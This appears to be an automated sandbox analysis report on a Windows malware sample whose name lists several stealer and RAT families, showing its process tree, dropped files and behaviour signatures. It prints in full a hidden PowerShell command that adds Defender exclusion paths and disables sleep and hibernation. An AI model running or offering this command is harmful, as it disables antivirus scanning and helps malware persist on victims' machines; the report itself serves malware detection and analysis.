Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/08/2026, 03:44

General

  • Target
    2026-08-20_9e4708720b8d20c3fed32df31bc89c80_cobalt-strike_icedid_luca-stealer_njrat_stealc_vidar_win-beast.exe
  • Size 2.6MB
  • Sample260820-eawwhassaw
  • SHA256 21cb1fb49186ac1706368a49db008cca7b803bead376a4b3b90508af11695ff6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Power Settings 1 TTPs 12 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_9e4708720b8d20c3fed32df31bc89c80_cobalt-strike_icedid_luca-stealer_njrat_stealc_vidar_win-beast.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-20_9e4708720b8d20c3fed32df31bc89c80_cobalt-strike_icedid_luca-stealer_njrat_stealc_vidar_win-beast.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EP Bypass -WindowStyle Hidden -C "Add-MpPreference -ExclusionPath $env:LOCALAPPDATA; Add-MpPreference -ExclusionPath $env:ProgramData"; powercfg /change standby-timeout-ac 0; powercfg /change standby-timeout-dc 0; powercfg /change hibernate-timeout-ac 0; powercfg /hibernate off
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1420
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1496
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-dc 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3584
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change hibernate-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4524
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /hibernate off
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4752
  • C:\ProgramData\SysRtProc\SysRtProc.exe
    "C:\ProgramData\SysRtProc\SysRtProc.exe" -service
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EP Bypass -WindowStyle Hidden -C "Add-MpPreference -ExclusionPath $env:LOCALAPPDATA; Add-MpPreference -ExclusionPath $env:ProgramData"; powercfg /change standby-timeout-ac 0; powercfg /change standby-timeout-dc 0; powercfg /change hibernate-timeout-ac 0; powercfg /hibernate off
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4584
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4652
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-dc 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4952
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change hibernate-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:332
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /hibernate off
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3512
    • C:\ProgramData\SysRtProc\SysRtProc.exe
      "C:\ProgramData\SysRtProc\SysRtProc.exe" -agent
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EP Bypass -WindowStyle Hidden -C "Add-MpPreference -ExclusionPath $env:LOCALAPPDATA; Add-MpPreference -ExclusionPath $env:ProgramData"; powercfg /change standby-timeout-ac 0; powercfg /change standby-timeout-dc 0; powercfg /change hibernate-timeout-ac 0; powercfg /hibernate off
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1764
        • C:\Windows\system32\powercfg.exe
          "C:\Windows\system32\powercfg.exe" /change standby-timeout-ac 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4344
        • C:\Windows\system32\powercfg.exe
          "C:\Windows\system32\powercfg.exe" /change standby-timeout-dc 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:2816
        • C:\Windows\system32\powercfg.exe
          "C:\Windows\system32\powercfg.exe" /change hibernate-timeout-ac 0
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3848
        • C:\Windows\system32\powercfg.exe
          "C:\Windows\system32\powercfg.exe" /hibernate off
          4⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3696

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        SysRtProc.exe

        • Path C:\ProgramData\SysRtProc\SysRtProc.exe
        • Size 2.6MB
        • SHA256 21cb1fb49186ac1706368a49db008cca7b803bead376a4b3b90508af11695ff6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 948B
        • SHA256 bf83d2e461e71c804b5c6bf2f5b4cb39c85f84bfb2bcf2ef2fbe5f2c95e060ac
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_bcfbfg1p.3qb.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bcfbfg1p.3qb.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1420-1-0x000001913A2A0000-0x000001913A2B0000-memory.dmp

        memory/1420-0-0x000001913A2A0000-0x000001913A2B0000-memory.dmp

        memory/1420-9-0x00000191220E0000-0x0000019122102000-memory.dmp

        memory/4584-32-0x000001CEE2B10000-0x000001CEE2B2C000-memory.dmp

        memory/4584-31-0x000001CEE2150000-0x000001CEE215A000-memory.dmp

        memory/4584-33-0x000001CEE2160000-0x000001CEE216A000-memory.dmp

        memory/4584-34-0x000001CEE2B30000-0x000001CEE2B4A000-memory.dmp

        memory/4584-35-0x000001CEE2AF0000-0x000001CEE2AF8000-memory.dmp

        memory/4584-36-0x000001CEE2B00000-0x000001CEE2B06000-memory.dmp

        memory/4584-37-0x000001CEE2B50000-0x000001CEE2B5A000-memory.dmp

        memory/4584-30-0x000001CEE28F0000-0x000001CEE29A5000-memory.dmp

        memory/4584-29-0x000001CEE2130000-0x000001CEE214C000-memory.dmp